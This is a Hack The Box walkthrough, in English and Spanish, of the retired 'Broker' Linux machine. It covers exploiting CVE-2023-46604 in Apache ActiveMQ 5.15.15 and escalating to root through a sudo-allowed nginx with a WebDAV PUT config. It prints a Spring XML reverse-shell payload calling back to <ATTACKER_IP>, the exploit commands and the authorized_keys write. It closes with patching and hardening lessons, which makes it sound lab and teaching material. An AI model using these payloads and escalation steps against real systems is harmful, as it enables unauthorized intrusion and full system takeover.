Broker
Executive summary — Broker is an Easy Linux box built around a well-known flaw: Apache ActiveMQ 5.15.15 is vulnerable to CVE-2023-46604, a critical unauthenticated RCE in the OpenWire protocol (port 61616). After a shell as
activemq,sudo -lshows we can run nginx as root with any config: we stand up an nginx with WebDAV (PUT) rooted at/to write our key into/root/.ssh/authorized_keys. Path: ActiveMQ RCE → nginx sudo → root.
| Platform | Hack The Box |
| Operating system | Linux |
| Difficulty | Easy |
| Status | Retired |
| Target IP | 10.129.12.34 |
Attack map
[61616] Apache ActiveMQ 5.15.15 (OpenWire) → CVE-2023-46604 (unauth RCE)
│ exploit sends remote XML → Spring ClassPathXmlApplicationContext
▼
[SHELL] activemq (user.txt)
│ sudo -l → (ALL) NOPASSWD /usr/sbin/nginx
▼
[ROOT] nginx with malicious config (root / + WebDAV PUT) → write authorized_keys
1. Reconnaissance
We run nmap against the messaging/ActiveMQ ports plus the usual ones so we don't miss anything in the stack:
nmap -sCV -p 22,80,1883,5672,8161,61613,61614,61616 10.129.12.34
Relevant results:
| Port | Service | Version |
|---|---|---|
22 | SSH | OpenSSH 8.9p1 |
80 | HTTP | nginx 1.18.0 |
61616 | ActiveMQ (OpenWire) | 5.15.15 |
What matters is port 61616 running Apache ActiveMQ 5.15.15: that exact version is vulnerable to CVE-2023-46604, a critical unauthenticated RCE disclosed in late 2023 and actively exploited in the wild (including ransomware campaigns) within days of publication.
Resumen ejecutivo — Broker es un Linux Easy centrado en una vulnerabilidad muy sonada: Apache ActiveMQ 5.15.15 es vulnerable a CVE-2023-46604, un RCE critico sin autenticacion en el protocolo OpenWire (puerto 61616). Tras conseguir shell como
activemq,sudo -lrevela que podemos ejecutar nginx como root con cualquier configuracion: montamos un nginx con WebDAV (PUT) y raiz en/para escribir nuestra clave en/root/.ssh/authorized_keys. Recorrido ActiveMQ RCE → nginx sudo → root.
| Plataforma | Hack The Box |
| Sistema operativo | Linux |
| Dificultad | Easy |
| Estado | Retired |
| IP objetivo | 10.129.12.34 |
Mapa del ataque
[61616] Apache ActiveMQ 5.15.15 (OpenWire) → CVE-2023-46604 (RCE sin auth)
│ exploit envia XML remoto → Spring ClassPathXmlApplicationContext
▼
[SHELL] activemq (user.txt)
│ sudo -l → (ALL) NOPASSWD /usr/sbin/nginx
▼
[ROOT] nginx con config maliciosa (root / + PUT WebDAV) → escribir authorized_keys
1. Reconocimiento
Lanzamos nmap sobre los puertos de servicios de mensajeria y ActiveMQ, ademas de los habituales, para no perdernos nada del stack:
nmap -sCV -p 22,80,1883,5672,8161,61613,61614,61616 10.129.12.34
Resultados relevantes:
| Puerto | Servicio | Version |
|---|---|---|
22 | SSH | OpenSSH 8.9p1 |
80 | HTTP | nginx 1.18.0 |
61616 | ActiveMQ (OpenWire) | 5.15.15 |
Lo importante es el puerto 61616 con Apache ActiveMQ 5.15.15: esa version concreta es vulnerable a CVE-2023-46604, un RCE critico sin autenticacion publicado a finales de 2023 y explotado activamente en el mundo real (incluido en campañas de ransomware) muy poco despues de su divulgacion.
2. Vulnerability analysis — CVE-2023-46604
Why does it work without authentication? ActiveMQ's OpenWire protocol lets the client specify the type of an exception to instantiate in the response. ActiveMQ builds that class without validating it and passes it an argument the attacker fully controls — a textbook case of insecure deserialisation.
The exploit chains three steps:
- It sends a crafted packet to port 61616 (OpenWire protocol).
- That packet forces ActiveMQ to instantiate Spring's
org.springframework.context.support.ClassPathXmlApplicationContext, pointed at a remote URL we control. - ActiveMQ downloads that XML and processes it as a Spring bean context: one of the beans is a
java.lang.ProcessBuilderthat executes whatever command we've put in it.
3. Exploitation — remote RCE
We clone the public PoC for the CVE:
git clone https://github.com/evkl1d/CVE-2023-46604
cd CVE-2023-46604
ls
exploit.py poc.xml README.md
poc.xml already ships the Spring bean that fires the reverse shell; we only need to point it at our IP and port. We use sed instead of editing it by hand:
sed -i 's|/dev/tcp/[^/]*/[0-9]*|/dev/tcp/<ATTACKER_IP>/9001|g' poc.xml
cat poc.xml
The resulting XML — the <bean> that does the work — looks like this:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/<ATTACKER_IP>/9001 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
We need three terminals running at once: one listening for the reverse shell, one serving poc.xml over HTTP, and one firing the exploit at the target's port 61616.
Terminal 1 — reverse shell listener:
nc -nlvp 9001
Terminal 2 — HTTP server serving poc.xml (we use 8080 since 80 may be taken):
cd CVE-2023-46604
python3 -m http.server 8080
Terminal 3 — launch the exploit, which sends ActiveMQ the URL of our XML:
python3 exploit.py -i 10.129.12.34 -p 61616 -u http://<ATTACKER_IP>:8080/poc.xml
ActiveMQ downloads and processes the XML, runs the ProcessBuilder, and the reverse shell connects back in Terminal 1:
Connection received on 10.129.12.34 51162
activemq@broker:/opt/apache-activemq-5.15.15/bin$
Shell as activemq. We upgrade it to a full TTY:
python3 -c 'import pty;pty.spawn("/bin/bash")'
cat ~/user.txt
4. Privilege escalation — sudo nginx
sudo -l
User activemq may run the following commands on broker:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
activemqcan run nginx as root with no password, and nginx accepts an arbitrary config file via-c. That means we get to decide what nginx does as root: the sudoer entry isn't granting access to a harmless binary, it's handing over full control of a web server running with root privileges.
The plan: stand up an nginx that runs as root, listens on port 81, has the entire filesystem as its document root (root /;), and enables the PUT method via WebDAV — a server that lets us write any file on the system as root, including /root/.ssh/authorized_keys.
cat > /tmp/nginx.conf << 'EOF'
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events { worker_connections 50; }
http {
server {
listen 81;
root /;
autoindex on;
dav_methods PUT;
}
}
EOF
sudo /usr/sbin/nginx -c /tmp/nginx.conf
No error means it started fine. We confirm it's listening:
ss -tunl | grep 81
tcp LISTEN 0 511 0.0.0.0:81 0.0.0.0:*
activemq has no SSH key of its own, so we generate a fresh pair and upload the public half with PUT into root's authorized_keys:
ssh-keygen -t rsa -f /tmp/root -N ""
curl -X PUT localhost:81/root/.ssh/authorized_keys -d "$(cat /tmp/root.pub)"
No errors — the key is now in /root/.ssh/authorized_keys. We SSH in as root:
ssh -i /tmp/root root@localhost
cat /root/root.txt
System fully compromised. 🏴☠️
Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| RCE | Apache ActiveMQ 5.15.15 | CVE-2023-46604 (OpenWire, insecure deserialisation, unauthenticated) | Shell as activemq |
| PrivEsc | sudo /usr/sbin/nginx | Run nginx as root with arbitrary config (WebDAV PUT) | Root via authorized_keys |
Lessons learned
- Patch Apache ActiveMQ: any version after 5.15.15 fixes CVE-2023-46604; if you can't patch right away, block access to port 61616.
- Scrutinise sudo permissions: never grant NOPASSWD access to binaries that can read arbitrary external config files (nginx, tar, python, etc.) — it's equivalent to handing over root.
- Least privilege everywhere: nginx running as root with an attacker-controlled config is a guaranteed escalation path.
- Keep messaging services off the internet: OpenWire should never be reachable without filtering or authentication.
- Distrust deserialisation: the pattern behind this CVE — building arbitrary classes from network data — remains one of the most recurring causes of RCE.
2. Análisis de la vulnerabilidad — CVE-2023-46604
¿Por qué funciona sin autenticación? El protocolo OpenWire de ActiveMQ acepta que el cliente indique el tipo de una excepción a instanciar en la respuesta. ActiveMQ, sin validar esa clase, la construye y le pasa un argumento que el atacante controla por completo — un caso clásico de deserialización insegura.
El exploit encadena tres pasos:
- Envía un paquete manipulado al puerto 61616 (protocolo OpenWire).
- Ese paquete fuerza a ActiveMQ a instanciar
org.springframework.context.support.ClassPathXmlApplicationContextde Spring apuntando a una URL remota que controlamos. - ActiveMQ descarga ese XML y lo procesa como un contexto de beans de Spring: uno de los beans es un
java.lang.ProcessBuilderque ejecuta el comando que le hayamos puesto.
3. Explotación — RCE remoto
Clonamos el PoC público para el CVE:
git clone https://github.com/evkl1d/CVE-2023-46604
cd CVE-2023-46604
ls
exploit.py poc.xml README.md
El fichero poc.xml trae ya el bean de Spring que lanza la reverse shell; solo hay que apuntarla a nuestra IP y puerto. Con sed evitamos editarlo a mano:
sed -i 's|/dev/tcp/[^/]*/[0-9]*|/dev/tcp/<ATTACKER_IP>/9001|g' poc.xml
cat poc.xml
El XML resultante — el <bean> que hace el trabajo — queda así:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/<ATTACKER_IP>/9001 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
Necesitamos tres terminales a la vez: una que escuche la reverse shell, otra que sirva el poc.xml por HTTP y otra que lance el exploit contra el puerto 61616 de la víctima.
Terminal 1 — listener de la reverse shell:
nc -nlvp 9001
Terminal 2 — servidor HTTP que sirve el poc.xml (usamos el 8080 porque el 80 puede estar ocupado):
cd CVE-2023-46604
python3 -m http.server 8080
Terminal 3 — lanzamos el exploit, que envía a ActiveMQ la URL de nuestro XML:
python3 exploit.py -i 10.129.12.34 -p 61616 -u http://<ATTACKER_IP>:8080/poc.xml
ActiveMQ descarga y procesa el XML, ejecuta el ProcessBuilder y la reverse shell conecta de vuelta en la Terminal 1:
Connection received on 10.129.12.34 51162
activemq@broker:/opt/apache-activemq-5.15.15/bin$
Shell como activemq. La mejoramos a una TTY completa:
python3 -c 'import pty;pty.spawn("/bin/bash")'
cat ~/user.txt
4. Escalada de privilegios — sudo nginx
sudo -l
User activemq may run the following commands on broker:
(ALL : ALL) NOPASSWD: /usr/sbin/nginx
El usuario
activemqpuede ejecutar nginx como root sin contraseña, y nginx acepta un fichero de configuración arbitrario con-c. Eso significa que podemos definir nosotros mismos qué hace nginx como root: el sudoer no está dando acceso a un binario inofensivo, está dando control total sobre un servidor web con privilegios de root.
La idea: montamos un nginx que corre como root, escucha en el puerto 81, tiene como raíz de documentos el sistema de ficheros completo (root /;) y permite el método PUT vía WebDAV — es decir, un servidor que nos deja escribir cualquier fichero del sistema como root, incluido /root/.ssh/authorized_keys.
cat > /tmp/nginx.conf << 'EOF'
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events { worker_connections 50; }
http {
server {
listen 81;
root /;
autoindex on;
dav_methods PUT;
}
}
EOF
sudo /usr/sbin/nginx -c /tmp/nginx.conf
Si no da error, arrancó bien. Confirmamos que está escuchando:
ss -tunl | grep 81
tcp LISTEN 0 511 0.0.0.0:81 0.0.0.0:*
El usuario activemq no tiene clave SSH, así que generamos un par nuevo y lo subimos con PUT al authorized_keys de root:
ssh-keygen -t rsa -f /tmp/root -N ""
curl -X PUT localhost:81/root/.ssh/authorized_keys -d "$(cat /tmp/root.pub)"
Sin errores, la clave ya está en /root/.ssh/authorized_keys. Entramos como root:
ssh -i /tmp/root root@localhost
cat /root/root.txt
Sistema comprometido por completo. 🏴☠️
Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| RCE | Apache ActiveMQ 5.15.15 | CVE-2023-46604 (OpenWire, deserialización insegura, sin auth) | Shell como activemq |
| PrivEsc | sudo /usr/sbin/nginx | Ejecutar nginx como root con config arbitraria (WebDAV PUT) | Root vía authorized_keys |
Lecciones aprendidas
- Actualiza Apache ActiveMQ: cualquier versión posterior a la 5.15.15 corrige CVE-2023-46604; si no puedes parchear ya, corta el acceso al puerto 61616.
- Revisa los permisos de sudo con lupa: nunca des acceso NOPASSWD a binarios que puedan leer ficheros de configuración externos (nginx, tar, python, etc.) — equivale a dar root.
- Principio de mínimo privilegio en todos los servicios: nginx corriendo como root con una config que el atacante controla es una escalada garantizada.
- Servicios de mensajería fuera de internet: OpenWire nunca debería ser alcanzable sin filtrado ni autenticación.
- Desconfía de la deserialización: el patrón detrás del CVE — construir clases arbitrarias a partir de datos de red — sigue siendo una de las causas de RCE más repetidas.